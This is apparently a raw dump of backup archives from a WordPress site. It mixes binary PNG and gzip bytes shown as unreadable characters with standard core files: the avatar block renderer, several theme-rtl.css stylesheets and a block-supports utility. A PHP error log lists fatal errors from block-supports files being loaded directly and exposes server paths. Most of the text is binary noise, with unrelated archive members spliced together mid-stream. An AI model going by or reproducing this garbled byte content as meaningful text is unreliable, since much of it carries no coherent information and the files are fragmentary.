IHDRHHb3CuPLTE�����M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��MfEgFhGiHjHkImKwTwT	zV
zW
}Z�\
�]�^�a�g�h�i�n�t�v�x�y�~!�!��"��$��'��*��*ɜ2͠4Ϣ5У5Ѥ6Ҥ6Ԧ7Ԧ8ש9ت9ګ:ڬ;۬;�=�>�?�?�C�E�E�G��H��H��L��L��M��M��tRNS-/3>H^cf��������������� y��tIDATX�͘Yc�@�)AT$��x-I5g����N��I����_R�h��A������'�3+}�$P$aȪnX��h:�e誌v�)�����)��B���*Q�1Ԋ	E�*L��K R�:0���L�됈z>^TjCBڥ�<�eL43\��D�dN�g�#E��M9JT��¢|;���gEJRQW����r���N. �Bj���"d�8!�e�Ƣ�c�u7.�c��wQ�i���
��+#����ۄ�
��-e(����I��Pd�
dHҸ��FVQC�"��@�"=�H�"#_D�T,Y�>?�EEv(~�LH,69�p�,,�PQ2Ӥ"�X��Ws����sc#�Y"���h�ёm���xnl��dz��r�����׳G���m�>/�;d�����vQN�H���ȲB�H��M��m�o?��Gz'��l�z@b8xE�&�y��,�}�yxzz��v��4���Ѵ&�h�?^���߲�&Z���o��7����}k=FS?i�r/���;��&��S��X2:���w� �YE��q¾��k�����&��JI**jĕY�
?�/E���uofb.�]i�dx�#�"*���v��yv��O|IEND�B`�14338/columns.tar.gz000064400000003261151024420100010024 0ustar00��[[o�6�k�+4a�!r�K��Ɔ��
�և�CQ�D[\$Q �:n�CR��[b%�34<I��w?�P�
����a"�F$�z�=�� ��am��~op�{�s��p4@y�����Te�b������]&�4�ޥ��p��/����:BlNb'�31v'�#�@?^9K�`����;C�R!h�c	���cS�$��U�������W�v����_���c�qpi��;%�	�ɔ^9�|%�|<���|�j���h5���j"8K������]�a� �,�t���'W'�Ur���P֕�]İ�3A<�+G
�rW)F����cx8�`t��z��Z�c?�$�DG/z���Y�p~�Ax�Mc'�Sⓟ�4�S�	�7�����q��^	sF��^�����N��O��O׹�n]4�ߴ�vG���w�m�
�Z^~����8jl�
x�`�r� ߗ^�����T��1�aN��N(x�,�KM�at�,aǘ��z�*��J�nti���M�P�g����
�Μ� }yG.^�
����Ոwm-	�S(7
�}��o?������-��h0tM�w�%��XV1�6Y�*�N'�u�ss2��d�`^�RByl~�uQ��s?)��?w�w� &�3���L�g�?����������)�;>��b�-jJ��r�O�m���g����slϽG�[v D��gg����v)��	��/��b�B7��0���@��(�ţ����j*�Uͫ�B	<�l%�}�!Ѱ!���)�q��X���O���I�Vn��	��Qvba�؊� I��ԎSkID`�1p�[�[�ZyAڤ�M�W§"��k�H&#Ӆ��*����P���)�i��5^� ���l}*{~�C�w�_*��Rb��8>��-���@	��-���1�z��)֠
��n4�$�0�W�ݻ8\���[��ƎRj�E"��l�(��R˔U*����"�t�5Z�-�P��UЮ��s�|�-�c;$�e� �H&&�2��B^�3�J0#rVP�Z�
��h��왥<۽�*�I����yZ��Z���Q�C�j�3�Ǒ��s�']�!�JeS��fEيz�����D�^�zb�+3��4]�5]êr�F�ZW{��'����""�+�kj�e����mmH�`�F[��v��"/�yUf�f��|��(�>�|JT�s�+���h,�,X��6I�ʆ5��k�hp"����
����oPD��-�>�tQa���=8�{�b>�,���k/��M
�by�E枭'��\�i"�h�	򅈜l/�����o��o��2+UۨN�6�������Û�\?�?������Q���|�y���CV�����A�5Tn�xP@Ywϡ�c�]�xz�/ٵ�V������6H�b	L��J��±_�|cP�Y���栆�Vwo#Ա@Z��4+;@W��zI�ۼ��:�,�6`����)ps/�F
|�;��k�ʩ��y��W�@�/ L##��ؾ����������c�#��aK�-`�{���D��R��h����(������]���������^�������C���L�g�?�����&�{z�~�������;��� b��ۈ#F�����o7F14338/avatar.php.tar000064400000017000151024420100007765 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/avatar.php000064400000013161151024247310024621 0ustar00<?php
/**
 * Server-side rendering of the `core/avatar` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/avatar` block on the server.
 *
 * @since 6.0.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Return the avatar.
 */
function render_block_core_avatar( $attributes, $content, $block ) {
	$size               = isset( $attributes['size'] ) ? $attributes['size'] : 96;
	$wrapper_attributes = get_block_wrapper_attributes();
	$border_attributes  = get_block_core_avatar_border_attributes( $attributes );

	// Class gets passed through `esc_attr` via `get_avatar`.
	$image_classes = ! empty( $border_attributes['class'] )
		? "wp-block-avatar__image {$border_attributes['class']}"
		: 'wp-block-avatar__image';

	// Unlike class, `get_avatar` doesn't filter the styles via `esc_attr`.
	// The style engine does pass the border styles through
	// `safecss_filter_attr` however.
	$image_styles = ! empty( $border_attributes['style'] )
		? sprintf( ' style="%s"', esc_attr( $border_attributes['style'] ) )
		: '';

	if ( ! isset( $block->context['commentId'] ) ) {
		if ( isset( $attributes['userId'] ) ) {
			$author_id = $attributes['userId'];
		} elseif ( isset( $block->context['postId'] ) ) {
			$author_id = get_post_field( 'post_author', $block->context['postId'] );
		} else {
			$author_id = get_query_var( 'author' );
		}

		if ( empty( $author_id ) ) {
			return '';
		}

		$author_name = get_the_author_meta( 'display_name', $author_id );
		// translators: %s: Author name.
		$alt          = sprintf( __( '%s Avatar' ), $author_name );
		$avatar_block = get_avatar(
			$author_id,
			$size,
			'',
			$alt,
			array(
				'extra_attr' => $image_styles,
				'class'      => $image_classes,
			)
		);
		if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
			$label = '';
			if ( '_blank' === $attributes['linkTarget'] ) {
				// translators: %s is the Author name.
				$label = 'aria-label="' . esc_attr( sprintf( __( '(%s author archive, opens in a new tab)' ), $author_name ) ) . '"';
			}
			// translators: 1: Author archive link. 2: Link target. %3$s Aria label. %4$s Avatar image.
			$avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', esc_url( get_author_posts_url( $author_id ) ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block );
		}
		return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block );
	}
	$comment = get_comment( $block->context['commentId'] );
	if ( ! $comment ) {
		return '';
	}
	/* translators: %s: Author name. */
	$alt          = sprintf( __( '%s Avatar' ), $comment->comment_author );
	$avatar_block = get_avatar(
		$comment,
		$size,
		'',
		$alt,
		array(
			'extra_attr' => $image_styles,
			'class'      => $image_classes,
		)
	);
	if ( isset( $attributes['isLink'] ) && $attributes['isLink'] && isset( $comment->comment_author_url ) && '' !== $comment->comment_author_url ) {
		$label = '';
		if ( '_blank' === $attributes['linkTarget'] ) {
			// translators: %s: Comment author name.
			$label = 'aria-label="' . esc_attr( sprintf( __( '(%s website link, opens in a new tab)' ), $comment->comment_author ) ) . '"';
		}
		$avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', esc_url( $comment->comment_author_url ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block );
	}
	return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block );
}

/**
 * Generates class names and styles to apply the border support styles for
 * the Avatar block.
 *
 * @since 6.3.0
 *
 * @param array $attributes The block attributes.
 * @return array The border-related classnames and styles for the block.
 */
function get_block_core_avatar_border_attributes( $attributes ) {
	$border_styles = array();
	$sides         = array( 'top', 'right', 'bottom', 'left' );

	// Border radius.
	if ( isset( $attributes['style']['border']['radius'] ) ) {
		$border_styles['radius'] = $attributes['style']['border']['radius'];
	}

	// Border style.
	if ( isset( $attributes['style']['border']['style'] ) ) {
		$border_styles['style'] = $attributes['style']['border']['style'];
	}

	// Border width.
	if ( isset( $attributes['style']['border']['width'] ) ) {
		$border_styles['width'] = $attributes['style']['border']['width'];
	}

	// Border color.
	$preset_color           = array_key_exists( 'borderColor', $attributes ) ? "var:preset|color|{$attributes['borderColor']}" : null;
	$custom_color           = $attributes['style']['border']['color'] ?? null;
	$border_styles['color'] = $preset_color ? $preset_color : $custom_color;

	// Individual border styles e.g. top, left etc.
	foreach ( $sides as $side ) {
		$border                 = $attributes['style']['border'][ $side ] ?? null;
		$border_styles[ $side ] = array(
			'color' => isset( $border['color'] ) ? $border['color'] : null,
			'style' => isset( $border['style'] ) ? $border['style'] : null,
			'width' => isset( $border['width'] ) ? $border['width'] : null,
		);
	}

	$styles     = wp_style_engine_get_styles( array( 'border' => $border_styles ) );
	$attributes = array();
	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}
	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}
	return $attributes;
}

/**
 * Registers the `core/avatar` block on the server.
 *
 * @since 6.0.0
 */
function register_block_core_avatar() {
	register_block_type_from_metadata(
		__DIR__ . '/avatar',
		array(
			'render_callback' => 'render_block_core_avatar',
		)
	);
}
add_action( 'init', 'register_block_core_avatar' );
14338/comment-reply-link.php.php.tar.gz000064400000001611151024420100013443 0ustar00��VKs�0�5��L%���ʡ�</ܘr����^'�ڒ���g%ىӴ��C��Z�,T�q��\�_d�jQ�IQbZ �B����y���T��.ǩ*�*2-�M|Y����t]���ƪXF��W�jQ���f{�ih6y�t����d:�>�ͦt?}>9z�-�?@��\�˿��?���ԧ~��߇}���udD��Qf�	�r��ϩ�xG�?���8�*�^�9�'��,C�q�uq�͚�X%���Q�����x2��]j^ך/�h���Ⲷh���w����B����rP�0�ua�at�>}H�� D	k-!	L]�hk-[/g����q�}�̀O��R�L���C�&q�J�ī$Ne��`��A���{"�!<a�aÉN��W{���3vA�^����q�����
�B#����9�DU.�!�[l���-�{\4��ts�U��,+���Ƚ�dXمo�8��Aɿ&���9��ـ��!2Rj}�C����1�UeE��t<x5�~��t4�c�����B��צ���&��IH�"�i����7j�A֦�.�ș�5��cMU|AO!�s�9��2�Yw�^��QS��@*�p�a���A�Ra֙Bs(�nt3���*��@8$�lVPj�d=X��!�u!�3#������DN*�N,b0�ׂ��~_�.d��D�.�?U�����i0N#
�m�7�W��΂];f�=lj̛��eU����8M] ���ޫh��܁��d������t<e�.���4�c�{��c�K��x��_�^_�[�vYa�kU&%Z�q�]����$!H�;���LT��S^����<�Ш�ϲ���.RX�{Xj~��&;�юv��?H?� I14338/theme-rtl.css.tar000064400000021000151024420100010404 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/audio/theme-rtl.css000064400000000310151024267210026337 0ustar00.wp-block-audio :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-audio :where(figcaption){
  color:#ffffffa6;
}

.wp-block-audio{
  margin:0 0 1em;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/group/theme-rtl.css000064400000000103151024267240026375 0ustar00:where(.wp-block-group.has-background){
  padding:1.25em 2.375em;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/table/theme-rtl.css000064400000000405151024267270026340 0ustar00.wp-block-table{
  margin:0 0 1em;
}
.wp-block-table td,.wp-block-table th{
  word-break:normal;
}
.wp-block-table :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-table :where(figcaption){
  color:#ffffffa6;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/quote/theme-rtl.css000064400000001047151024272170026404 0ustar00.wp-block-quote{
  border-right:.25em solid;
  margin:0 0 1.75em;
  padding-right:1em;
}
.wp-block-quote cite,.wp-block-quote footer{
  color:currentColor;
  font-size:.8125em;
  font-style:normal;
  position:relative;
}
.wp-block-quote:where(.has-text-align-right){
  border-left:.25em solid;
  border-right:none;
  padding-left:1em;
  padding-right:0;
}
.wp-block-quote:where(.has-text-align-center){
  border:none;
  padding-right:0;
}
.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){
  border:none;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/image/theme-rtl.css000064400000000324151024277630026334 0ustar00:root :where(.wp-block-image figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme :root :where(.wp-block-image figcaption){
  color:#ffffffa6;
}

.wp-block-image{
  margin:0 0 1em;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/video/theme-rtl.css000064400000000310151024404500026337 0ustar00.wp-block-video :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-video :where(figcaption){
  color:#ffffffa6;
}

.wp-block-video{
  margin:0 0 1em;
}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/embed/theme-rtl.css000064400000000310151024436550026317 0ustar00.wp-block-embed :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-embed :where(figcaption){
  color:#ffffffa6;
}

.wp-block-embed{
  margin:0 0 1em;
}14338/fields.tar.gz000064400000013011151024420100007604 0ustar00��]mw۶�W�W �;�9���I��]��k�5�q���CI�͕"U������ �H��8�'�6UH��oϽˣ(�?<���]��
�w:��Q��U�����zG_Q�G=��4��<N��������x��(��uz��s0�=t���g��o�n����9��󋄽7^�n��y��zw�����8��a�&�<3/`���O"_N~�G�7��|�s7��,�O&���^I�Q8ݿ��y�ȟ�y�o&{��۟P��#yZЃYLa�=�=��
����%��W�D����a�O]/���Xr�W�g����3�0�'�����ZOy�J���eB�w���	!���˔@e���v�A�_7��c}��/����=`?������ ����S7����?��?uc��q>��O����^o���M���O@uc�}Ab�A�2�悺����ý q�vAh���1
]�� j��B�_"Vcd�#�A�q��_�((�G���EA5F�Nw�ux)�3���
��=�~��Ѡ[��ƾ�d��: j�d�pXC�1g� P�E�{���];�/@ܫ���l�y�X;�O�.�
6��;d��.��=pw�g�\;Tg�����n�?.��tj��ιo��O��%_�
���&����T���o�:@g��:�E�l&�!�8�v�sd��7�<�k���>���r�1����t����n��{�9�y�_�o�?|��2�\�����gPӖ������I��F㷠@1ݍ�C�����}��ڏ������Eq�/��$dS7��Q٥��y�#��Q�.=���Զ9���%�b�ҙ�	�q����R�@��$�%��D!���d1�mlA�,�қO�Q�b�!8g'���o5fQ��Q̙̃Q��8牃�l��$5��&v�|��X�L�V	�Oڏ�(# � :�
B�Q\�f�vm��%҄��{18TݖC�jg���&=�.l�χ�7��ף-g����̯qU
�o8�J���Q���6������P�;��2J�$N�hz����C�ԯ�n�r����b�p@�s�PP���h���e��LY8Q�חǭa�5�/&l��?]���A��������������݀�����
�[:}����E�N���(��(�x|��c�$��jN^�q��
���Xk��+��X��R�b4�EroQG���1;����Ⴝw4�C��{��	�F���&~-�x'^"y&&��d�t�,TSoB2�#o���ZP�C��n;���E�1�`n�P�b4PM���� �.�_
�bޣ>T�dxly�yŚ�Դ|j�c>���Ł�G�1�*�T	.�m6��ݿ�Z�0����o^:p��m2�I�h@���C���-dA4q�M��F����M|a�<V��ٷL<g�%��M�
-��|6���o�&�����Mm��A��Z4�t7�K�W�Q8�U�:s#w
�Qb��ma�7fo�9����'��b�0j�](�y�7���H�`��1��1s��<!Re��e1�8����8��̪�&Q�W�~�dY�E�w�	�4eB�Et��g���BU�h=�j�n�I!UvpxC�����	�$Y7:�嘍m�[I]<:m���Sz��ȹ>K�(��ci��=G5r�M\Ae\���܇M�!y^l�	�M[4��&Y���is�'��O$�����ݞvTS��h#��4K��u�:��E�Rܥ���nMiɹz���x��T�(�(���� �g����hGv�
Τ*wʄ��0�1��qKC[�4�#�
j�tÊD(��+�S���7d�^�v>y�F8E�J�K�jA���3�gI�MGa<�ԓL�Po�nl��0q%n�_�G.j�#�rH�2��>�t���"�r	�A��nA5�ǻ7��y���3<�`c?i�@�R|�<܋9�<����C�]�֌aI�p������0HCp��R��[/~�e7��d� Wݥ�v�
$�-|�`hB�����rӵtYi���?��&T���E!1}�-h�
�(�`�	�kA��J��-���� (���I-�>��'<�VΣRd3�1+�g����*.�Q��R�nnE�&5����:���&a�p�x��s��0�mS�(��C�8��x.�y���O����Յs?B�@I��<��#�]�:��dbc��A�����tsSm�R'��`O�P�p9D��ix)����Ȁ�S���-�pzʞ�]��%±g�>�?�؝�{�_!�U�qj���ϲ@��=�.�K���E�j搶�0��a��6奢f�ieb����޷�Xd�S�^@�;�d�Rm��� �]x�7��9��� �і��+�AB�L0��aM���1{�jĂ]�Y���T�*&j��[�6QژUH[�M���M3N�dSbr��]�\E���D�p�:U�.�W]k�Ir�Z����/��<:�4��h��1Hߒ�I�#�S�widž4Put^dS�X�ғ���֑�4�.�c�vHn9``��Y�Sho[0�VA��miI����bP�H��,�9��(�)T-�y�t��\c7���̵Rꕳ2��U����vAT�7��=�V��rF]��3l���ɷA���G�k(�l��Z�	_��*J�3f�Z-)�U|F�9���(R�5���E��^^�/���&�|���ʼKW��hAUG�'���,AG�ɏ��:���xY�64�05��H$S�V^"�H7���帿�>��_�,�BV̻����_z�����Ar�_�s�.�@�W�O�'�Sp�#���m-MO+����'�ɸ��"����(+G%��(��(�:#�S �!��9�{%G��MF�;��;��LG=��z`j�o4D�\���"�Krz�A�(A��/0P���וP�C���_��:~��_λW�~u�:>~s\(
�m�Y1z�d�L;��~Z���������X����l��U�$	W7��{�!K�G��_���KH�<�S��䒪5\q(��5��ew��
[�m�
��e�!%_#HE�w��.�F�A|k}���b���\e��+�}zъ�(WX�,�Q��V_K�d�IZ�J]n̑�������T<��S�R����.�+\�]����%y�d�_v�8UNiWD$1R����f��`�}Dz4��V�#��Ԇ˔;<�ݗ�k���*�V�F��Zlrdi�ޒ�w�oY7}s����6p�W	�|'^��c�Á�Z,�8�`r�|t�.���� �M�A��	��َ�I�̀�S�.gF1�*���g"��r1s�vP�
8#�ӐB�Y����
;��6{��x���+K�Ɗ8r���
����#���%����#2c�\ĊH8�����0�F��D�"�4�\���ҥ3��T�YM��|��]��<�{���)hm�5:�Yά�c�l˂n%��n��!��ʈ�F$ɪX�ZHG��">+���e���)���#܆YlJ�bg\$2����>��V'&ש�l���A�`��Lr�\^�*d6
]�y�,[X���V���K�!���nX�>�Una�g���Ƥ��d"q�vQ��e��?�BI`"`m��
Ǯ(�"���Fh�I�5�.fT0e<D���7��.!8�҃�W�r6Y�]V��t�6�����ᶠ�V�^����ϥÅv匼>��B���CY�z)P�{�u4�Y6ۇ���<d��&�C�
ȗ�bܲ��?�܅��&+�=!t$_�/�Er��xcm�-왜�B��&i�Bޡm!n8+DZ[K�
�$Ʃ�^���f�Y t��F\jMW��M��U��B��ĕ@o�eIl���z-u�!��"4�B���)7�ى��_`�N�������I��_���9�=i�����SG�2��-w����<f���0��J�Oc�-6�A�QT���_�u�u���
�A��A�������e�O����ezH��W�2���LpaNf�5�.�}�tW�
u�[�m�HU�H�x�A�mi��j��g�:^9^@g��R��$m����b��a��o�����2���L���6ة����ٔB���Q�5`"�e�h�찃>&��C䶋���v���7��+b�_���M��O���!hkO�w�ܗ3n6a��}�ǘǣȣ��|��|O�Ӵ?��^��Ţ��ސ��M9蛆(���"�X��"ڲ�^}���Rևh`���#�-]��������+z�'J��5��/ê�%��LYd����;��h0@�GT��e���m�X짻��Ɛ����3K=:I�P�[�k��3L�7�H��t�@o�<D�+E",�ȺDU�/���G>�>�Q7-��%����:���\p,C�P��aSnoW�-�R�]u`���Z	e�}Rʴ�Ԕ}�l�����=p�!R���`)w�s�Jm�Sy|�i�k^z�
u3�+�����;�8�a`��+o[hdZ��q\Qf%B
���.�_om�=5�svj�Jh+o>.�����d67��/eQU��X�vf���\�(�t����M�ς�{L��<b��p�=����c=����N�_�T���X3g|�$>s���2���}�' � ����;�>��p�����k������A��lY�&^�r��҆���j%�� �0��� ��.ş<ؤ{z+��=$˔��<���-YRPa�1�i��7�n��P�y�ܳN���̚G;�XÑ'���'7���d���K��Qt̪�+#��W� q[D�9��><lc�b�<%�n���G�U`�$$-p��'����Y��H�td�Q���RӈPLA�	돸р
UWU"��P�6$"��2(�t|���:R��8�6��v��4���Ę�mԗQ!�B�4��Ti��ź��'$S�e_<���Dػ�������<�(ً�&j˳�r����~�xP�*n~�5e�}��&1��牐�8g,%+�~�$eQm�2*��FA��߳��2i#v�W^"w5蛍n�U�ԀBK�;%��B8�E�d#�}V���@"���m�!�@ߐ������!�j=�(�e|�js�q��@���X��^�����Aw�;�V|��-(ė�_T�O����L�~�m�E'�sD���櫏��y�t#	O9����:����YBv3J��[~io��-�og��1��#�!��3kK�`�E,��l����2�sl)�ٷϲBY:˛}m���Dw[_�,��&�r��_�|���-��g��wp���P�/�Q=?��fZ�O�o�Շ!o�ӯLV!v%���YП�}f�p���飫)�'�Wç���?�-��=�+-�����݀���\�ks���PU��14338/block-supports.zip000064400000674167151024420100010753 0ustar00PK�Vd[�U����	utils.phpnu�[���<?php
/**
 * Block support utility functions.
 *
 * @package WordPress
 * @subpackage Block Supports
 * @since 6.0.0
 */

/**
 * Checks whether serialization of the current block's supported properties
 * should occur.
 *
 * @since 6.0.0
 * @access private
 *
 * @param WP_Block_Type $block_type  Block type.
 * @param string        $feature_set Name of block support feature set..
 * @param string        $feature     Optional name of individual feature to check.
 *
 * @return bool Whether to serialize block support styles & classes.
 */
function wp_should_skip_block_supports_serialization( $block_type, $feature_set, $feature = null ) {
	if ( ! is_object( $block_type ) || ! $feature_set ) {
		return false;
	}

	$path               = array( $feature_set, '__experimentalSkipSerialization' );
	$skip_serialization = _wp_array_get( $block_type->supports, $path, false );

	if ( is_array( $skip_serialization ) ) {
		return in_array( $feature, $skip_serialization, true );
	}

	return $skip_serialization;
}
PK�Vd[��ohh	error_lognu�[���[20-Aug-2025 10:21:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[21-Aug-2025 04:04:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[21-Aug-2025 06:53:05 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[21-Aug-2025 07:30:56 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[21-Aug-2025 07:31:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[21-Aug-2025 07:31:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[21-Aug-2025 07:31:25 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[21-Aug-2025 07:31:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[21-Aug-2025 07:31:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[21-Aug-2025 07:31:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[21-Aug-2025 07:32:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[21-Aug-2025 07:32:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[21-Aug-2025 07:32:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[21-Aug-2025 07:32:38 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[21-Aug-2025 07:32:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[21-Aug-2025 07:54:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[21-Aug-2025 07:54:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[22-Aug-2025 10:20:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[24-Aug-2025 00:14:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[24-Aug-2025 00:14:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[24-Aug-2025 00:14:26 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[24-Aug-2025 00:14:29 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[24-Aug-2025 00:14:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[24-Aug-2025 00:14:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
